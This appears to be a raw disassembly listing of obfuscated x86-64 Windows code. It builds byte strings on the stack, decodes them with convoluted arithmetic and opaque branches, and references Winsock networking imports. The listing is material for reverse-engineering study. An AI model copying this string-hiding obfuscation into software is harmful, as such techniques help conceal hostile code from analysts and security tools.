lea r10d, [rcx + rdx]
add r10b, 0x15
movzx eax, byte [rbp + rbx + 0xa10]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14009edd2
movabs rcx, 0x23d9e3f3aba5367b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5d
jmp 0x14009edd0
movabs rcx, 0x3a68e64c65b2207d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x6b
jmp 0x14009edc0
lea rcx, [rbp + 0x1696d64]
jmp 0x14009fbf7
lea rcx, [rbp + 0x122f863]
jmp 0x14009fbf7
lea rcx, [rbp + 0xa10]
call fcn.140036770
mov byte [rbp + 0xf88], 0x79
mov byte [rbp + 0xf89], Ordinal_60
mov byte [rbp + 0xf8a], 0x60
mov byte [rbp + 0xf8b], 0x5d
mov byte [rbp + 0xf8c], Ordinal_50
mov byte [rbp + 0xf8d], 0x3e
mov byte [rbp + 0xf8e], Ordinal_45
mov byte [rbp + 0xf8f], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0xf90], reloc.WS2_32.dll_send
mov byte [rbp + 0xf91], 0x79
mov byte [rbp + 0xf92], 0x48
mov byte [rbp + 0xf93], Ordinal_41
mov byte [rbp + 0xf94], Ordinal_45
mov byte [rbp + 0xf95], 0x75
mov byte [rbp + 0xf96], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xf97], Ordinal_45
mov byte [rbp + 0xf98], Ordinal_45
mov byte [rbp + 0xf99], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp + 0xf9a], Ordinal_41
mov byte [rbp + 0xf9b], Ordinal_50
mov byte [rbp + 0xf9c], __WSAFDIsSet
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf9d], xmm0
mov qword [rbp + 0xfad], rax
mov dword [rbp + 0xfb5], eax
mov word [rbp + 0xfb9], ax
movabs rdi, 0x2143e5ea4f2358c7
movabs rsi, 0xf490a8ad6126ea19
movabs r15, 0x3e895417591a106b
movabs r14, 0x777e007eaef2c943
movabs r12, 0xfa6b584ffcbea86d
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r9, qword [0x14022e4a8]
mov r8, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400a0a1a
movzx r11d, byte [rbp + rbx + 0xf88]
mov rdx, r11
nop dword [rax + rax]
cmp r9, rbx
ja 0x1400a0a0e
lea rax, [r8 + 1]
cmp r9, rax
jae 0x14009fd53
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r10, rax, 0xfffffffffffffffe
add r10, rcx
add r10, rdx
add r10b, 0x13
jmp 0x14009fd73
je 0x1400a0984
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400a091f
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400a08f4
cmp r8, rbx
ja 0x1400a0a02
lea rax, [r8 + 0x200]
cmp r9, rax
jae 0x14009fdab
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x71
add r10b, dl
jmp 0x14009fdd2
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400a08a0
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400a086b
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400a07cb
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400a0463
nop
lea rax, [r8 + 0x80]
cmp r9, rax
je 0x1400a043a
lea rax, [r8 + 0x3e8]
cmp r9, rax
je 0x1400a0408
lea rax, [r8 + 0x20]
cmp r9, rax
je 0x1400a03d9
lea rax, [r8 + 0x40]
cmp r9, rax
je 0x1400a03b4
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400a038f
lea rax, [r8 + 9]
cmp r9, rax
je 0x1400a035a
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400a0331
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400a0308
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x1400a02ce
lea rax, [r8 + 0x41]
cmp r9, rax
je 0x14009fde0
lea r9, [r8 + 8]
lea r8, [r9 + 0x80]
lea rax, [r8 + 0x2a]
cmp r9, rax
jb 0x1400a09dd
lea rax, [r8 + 2]
cmp r9, rax
jb 0x1400a09b8
lea rax, [r8 + 0x1000]
cmp r9, rax
jb 0x14009ffd9
lea rax, [r8 + 0x7a]
cmp r9, rax
jb 0x14009ffba
lea rax, [r8 + 0x64]
cmp r9, rax
jb 0x14009ff9b
lea rax, [r8 + 0x200]
cmp r9, rax
jb 0x1400a0269
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x1400a0207
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x1400a01b8
lea rax, [r8 + 5]
cmp r9, rax
jb 0x1400a0189
lea rax, [r8 + 8]
cmp r9, rax
jb 0x14009fde0
lea r9, [r8 + 0x80]
lea r8, [r9 + 0x2a]
lea rax, [r8 + 0xa]
cmp r9, rax
ja 0x1400a014f
lea rax, [r8 + 0x20]
cmp r9, rax
ja 0x1400a0126
lea rax, [r8 + 4]
cmp r9, rax
ja 0x1400a0102
lea rax, [r8 + 6]
cmp r9, rax
ja 0x1400a00ce
lea rax, [r8 + 0x5a]
cmp r9, rax
ja 0x1400a00aa
lea rax, [r8 + 1]
cmp r9, rax
ja 0x1400a0081
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x1400a0052
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x1400a0020
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x14009fff7
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x14009fde0
lea r9, [r8 + 0x2a]
lea r8, [r9 + 0xa]
jmp 0x14009fde0
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x51
add r10b, dl
jmp 0x14009fdd2
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x2b
add r10b, dl
jmp 0x14009fd73
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 5
add r10b, dl
jmp 0x14009fd15
movabs rdx, 0xa1f2f52791ac638
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400a08bf
movabs rdx, 0x8d0c8723c6e6a562
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r8
dec rbx
inc rbx
jmp 0x14009fd02
movabs rdx, 0xff9def514b2848c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009fd02
movabs rdx, 0x92e736c6627e63b6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400a0942
movabs rcx, 0x15d48e97b04a42e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
jmp 0x1400a096c
movabs rcx, 0x98c1e668fe16220a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x46
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009fd02
movabs rcx, 0x1baf3e3a4be20134
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6c
jmp 0x1400a07ee
movabs rdx, 0x9e9c960b99ade05e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400a0821
movabs rdx, 0x2189eddce779bf88
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x24
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xf88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009fd02
movabs rcx, 0xe8db496829f76d71
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x17
mov byte [rbp + rbx + 0xf88], r10b
inc rbx
jmp 0x14009fd02
movabs rcx, 0x6bc8a13977c34c9b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
cmp r8, 1
jb 0x1400a01a8
movabs rdx, 0xeab7814d80628aa2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x1400a08bf
movabs rcx, 0xeeb5f90ac58f2bc5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
cmp r9, 0x200
jae 0x1400a0773
lea rax, [r8 + 1]
cmp r9, rax
jbe 0x1400a0651
movabs rdx, 0x7fcef7a8a594246
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a01d7
movabs rcx, 0x71a350dc135b0aef
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x77
lea rax, [r8 + r9]
cmp rax, 9
je 0x1400a07a0
lea rax, [r8 + 0x200]
cmp r9, rax
jbe 0x1400a05a8
movabs rdx, 0xe6b909903b35e97f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x79
add r10b, dl
jmp 0x1400a0226
movabs rdx, 0xc797637ddad414aa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xf88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009fd02
movabs rdx, 0x4a84bb4f289ff3d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400a0821
movabs rdx, 0xcd721320766bd2fe
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400a07ee
movabs rcx, 0x505f6af1c437b228
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x18
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009fd02
movabs rcx, 0xd34cc2c312039152
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x3e
jmp 0x1400a096c
movabs rdx, 0x563a1a945fcf707c
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x64
jmp 0x1400a093f
movabs rdx, 0xd9277265ad9b4fa6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009fd02
movabs rdx, 0x5c14ca36fb672ed0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r8
dec rbx
inc rbx
jmp 0x14009fd02
movabs rdx, 0xdf02220849330dfa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a08bf
lea rax, [r8 + 0x200]
cmp r9, rax
jae 0x1400a0492
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x13
add r10b, dl
jmp 0x1400a0288
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a04d9
movabs rdx, 0x4287cbd49e46b18e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xf88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009fd02
inc rax
cmp r9, rax
jne 0x1400a050e
movabs rdx, 0xbf9a7403507ad264
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a0821
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400a0540
movabs rcx, 0x36d26c8f671734e6
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x4a
jmp 0x1400a096c
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400a0572
movabs rdx, 0xb3e514be194b55bc
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x24
jmp 0x1400a093f
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400a0288
movabs rdx, 0x2b1d0d4a2fe7b83e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a08bf
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a05dd
movabs rdx, 0x63cbb1beed6a0a55
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x53
add r10b, dl
jmp 0x1400a08bf
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a061f
movabs rcx, 0xd528faa8686eae83
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x6b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009fd02
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400a0226
movabs rdx, 0x523ba2d71aa2cf59
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6f
jmp 0x1400a07eb
jne 0x1400a0691
movabs rdx, 0x850f97a93c8d631c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0xf88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009fd02
inc rax
cmp r9, rax
jne 0x1400a06c6
movabs rdx, 0x2223fd7eec183f2
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400a0821
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a06f8
movabs rdx, 0x7f34e806a0f5a4c8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x78
jmp 0x1400a07eb
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400a0734
movabs rdx, 0x737f88c169c62820
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14009fd02
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400a01d7
movabs rdx, 0xf09230f01bfa48f6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
inc r8
dec rbx
inc rbx
jmp 0x14009fd02
movabs rdx, 0x67ca297c3296ab78
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0xf88]
sub r10b, al
sub r10b, 0x48
add r10b, r11b
jmp 0x1400a093f
movabs rcx, 0xe4dcd1aae4cacc4e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0xf88]
lea r10d, [r11 + rcx]
sub r10b, 0x22
jmp 0x1400a07ee
movabs rdx, 0x8cc67f312e903ea1
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x67
add r10b, dl
movabs rdx, 0x236625c23de4dcb9
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0xf
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xf88], al
inc r8
add rax, r8
sub rbx, rax
movabs rdx, 0x61ef79d996feed24
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xf88], cl
inc r9
mov rax, r13
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0xf88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009fd02
movabs rcx, 0xfb3d7027c5c1dcb
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x73
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009fd02
movabs rcx, 0x9e568e190157799d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4b
movabs rcx, 0x2940d564d97c9b0d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x5b
add r11b, cl
mov byte [rbp + rbx + 0xf88], r11b
inc r8
dec rbx
inc rbx
jmp 0x14009fd02
movabs rcx, 0xaa0bed5e3886f645
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x1d
dec rbx
inc rbx
jmp 0x14009fd02
movabs rdx, 0x2cf9452f8652d56f
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 9
add r10b, dl
movabs rcx, 0xa6537d938bb0bbe3
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x35
add r11b, r10b
add r11b, cl
mov byte [rbp + rbx + 0xf88], r11b
add r9, r8
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14009fd02
movabs rcx, 0xbb9bfc460b4e3141
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x39
movzx eax, byte [rbp + rbx + 0xf88]
add rax, r8
add rbx, rax
inc rbx
jmp 0x14009fd02
movabs rcx, 0x7d58b0214a8a8797
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x21
jmp 0x14009fd00
movabs rcx, 0x4607f2985666c1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x47
jmp 0x14009fcf0
lea rsi, [rbp + 0x143176c]
jmp 0x1400a0a21
lea rsi, [rbp + 0xdd27d7]
jmp 0x1400a0a21
lea rsi, [rbp + 0xf88]
lea rdx, [0x140227dc0]
lea rcx, [rbp + 0x2f8]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xa8]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400a3852
mov byte [rbp + 0xa38], 0x47
mov byte [rbp + 0xa39], 0xbf
mov byte [rbp + 0xa3a], 0xaf
mov byte [rbp + 0xa3b], 0xbd
mov byte [rbp + 0xa3c], 0xa6
mov byte [rbp + 0xa3d], 0xae
mov byte [rbp + 0xa3e], 0xb7
mov byte [rbp + 0xa3f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xa40], 0x54
mov byte [rbp + 0xa41], 0x5d
mov byte [rbp + 0xa42], 0x41
mov byte [rbp + 0xa43], recv
mov byte [rbp + 0xa44], 0xb7
mov byte [rbp + 0xa45], 0xb6
mov byte [rbp + 0xa46], 0xb8
mov byte [rbp + 0xa47], Ordinal_45
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa48], xmm0
mov word [rbp + 0xa58], ax
mov byte [rbp + 0xa5a], al
movabs r14, 0xf8fecbf260dc3a5d
movabs r15, 0xd1a2b3a5d674bf43
movabs r12, 0xd24d7ba7229088f1
movzx edx, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [0x14022e4a8]
mov r8, qword [0x14022e4a0]
nop
xor ebx, ebx
movabs rcx, 0xffaa9bff59f21b29
cmp rbx, 0x23
jae 0x1400a185b
movzx r10d, byte [rbp + rbx + 0xa38]
mov r11, r10
cmp r9, rbx
ja 0x1400a184f
lea rax, [r8 + 1]
cmp r9, rax
jae 0x1400a0b83
add rcx, rbx
mov rax, rcx
and rax, r10
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r10
sub dl, 0x1f
jmp 0x1400a0bc0
je 0x1400a17c8
lea rax, [r8 + 2]
cmp r9, rax
je 0x1400a1730
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400a16fe
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400a16a3
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400a1653
nop dword [rax]
cmp r8, rbx
ja 0x1400a1843
lea rax, [r8 + 2]
cmp r9, rax
jae 0x1400a0bf0
lea rcx, [rbx + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x75
jmp 0x1400a0c30
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400a162e
lea rax, [r8 + 4]
cmp r9, rax
je 0x1400a15f9
lea rax, [r8 + 6]
cmp r9, rax
je 0x1400a15c8
lea rax, [r8 + 8]
cmp r9, rax
je 0x1400a1594
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400a1299
nop dword [rax]
lea rax, [r8 + 0x42]
cmp r9, rax
je 0x1400a1276
lea rax, [r8 + 5]
cmp r9, rax
je 0x1400a1247
lea rax, [r8 + 0x61]
cmp r9, rax
je 0x1400a121b
lea rax, [r8 + 0x28]
cmp r9, rax
je 0x1400a11f8
lea rax, [r8 + 3]
cmp r9, rax
je 0x1400a11c3
lea rax, [r8 + 0x400]
cmp r9, rax
je 0x1400a118e
lea rax, [r8 + 0x10]
cmp r9, rax
je 0x1400a1168
lea rax, [r8 + 1]
cmp r9, rax
je 0x1400a1145
lea rax, [r8 + 0x200]
cmp r9, rax
je 0x1400a1111
lea rax, [r8 + 9]
cmp r9, rax
je 0x1400a0c40
lea r9, [r8 + 0x80]
lea r8, [r9 + 0x5a]
lea rax, [r8 + 8]
cmp r9, rax
jb 0x1400a1820
lea rax, [r8 + 0x41]
cmp r9, rax
jb 0x1400a17fd
lea rax, [r8 + 0x42]
cmp r9, rax
jb 0x1400a0e2c
lea rax, [r8 + 5]
cmp r9, rax
jb 0x1400a0e12
lea rax, [r8 + 0x61]
cmp r9, rax
jb 0x1400a0df8
lea rax, [r8 + 0x28]
cmp r9, rax
jb 0x1400a10b5
lea rax, [r8 + 3]
cmp r9, rax
jb 0x1400a105a
lea rax, [r8 + 0x400]
cmp r9, rax
jb 0x1400a100e
lea rax, [r8 + 0x10]
cmp r9, rax
jb 0x1400a0fe1
lea rax, [r8 + 1]
cmp r9, rax
jb 0x1400a0c40
lea r9, [r8 + 0xa]
lea r8, [r9 + 0x200]
lea rax, [r8 + 0x2a]
cmp r9, rax
ja 0x1400a0fad
lea rax, [r8 + 0x80]
cmp r9, rax
ja 0x1400a0f87
lea rax, [r8 + 8]
cmp r9, rax
ja 0x1400a0f61
lea rax, [r8 + 0x41]
cmp r9, rax
ja 0x1400a0f2f
lea rax, [r8 + 0x42]
cmp r9, rax
ja 0x1400a0efa
lea rax, [r8 + 5]
cmp r9, rax
ja 0x1400a0ed4
lea rax, [r8 + 0x61]
cmp r9, rax
ja 0x1400a0ea8
lea rax, [r8 + 0x28]
cmp r9, rax
ja 0x1400a0e7c
lea rax, [r8 + 3]
cmp r9, rax
ja 0x1400a0e59
lea rax, [r8 + 0x400]
cmp r9, rax
ja 0x1400a0c40
lea r9, [r8 + 2]
lea r8, [r9 + 0x10]
jmp 0x1400a0c40
lea rcx, [rbx + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x2b
jmp 0x1400a0c30
lea rcx, [rbx + r12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x69
jmp 0x1400a0bc0
movabs rcx, 0xd2f843a86eac529f
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x59
movabs rcx, 0xffaa9bff59f21b29
jmp 0x1400a0b4f
movabs rcx, 0xc7f65f9306e1d2e8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x58
jmp 0x1400a1671
movabs rcx, 0xc8a1279452fd9c96
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1a
inc r8
dec rbx
inc rbx
jmp 0x1400a0b32
movabs rdx, 0xc94bef959f196644
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec rbx
inc rbx
jmp 0x1400a0b32
movabs rdx, 0xc9f6b796eb352ff2
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400a16c1
movabs rcx, 0xcaa17f983750f9a0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x60
add r9, r8
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xcb4c4799836cc34e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x22
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a0b32
movabs rdx, 0xcbf70f9acf888cfc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400a1752
movabs rdx, 0xcca1d79c1ba456aa
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400a1782
movabs rcx, 0xcd4c9f9d67c02058
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x68
movzx eax, byte [rbp + rbx + 0xa38]
add rax, r8
add rbx, rax
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xcef793a0a605988b
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x33
mov byte [rbp + rbx + 0xa38], dl
inc rbx
jmp 0x1400a0b32
movabs rcx, 0xcfa25ba1f2216239
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x71
cmp r8, 0x2a
jb 0x1400a0fff
movabs rcx, 0xddfa27bdd676d256
add rcx, rbx
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_send
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, dl
jmp 0x1400a1671
movabs rcx, 0xd04d23a33e3d2be7
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x51
cmp r9, 8
jae 0x1400a153a
lea rax, [r8 + 0x64]
cmp r9, rax
jbe 0x1400a1453
movabs rdx, 0xe4a5f7cacf8cb322
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 9
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x1400a102c
movabs rcx, 0xd0f7eba48a58f595
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x13
lea rax, [r8 + r9]
cmp rax, 0x42
je 0x1400a1567
lea rax, [r8 + 0x7a]
cmp r9, rax
jbe 0x1400a133d
movabs rcx, 0xeba72bd86eb078c5
add rcx, rbx
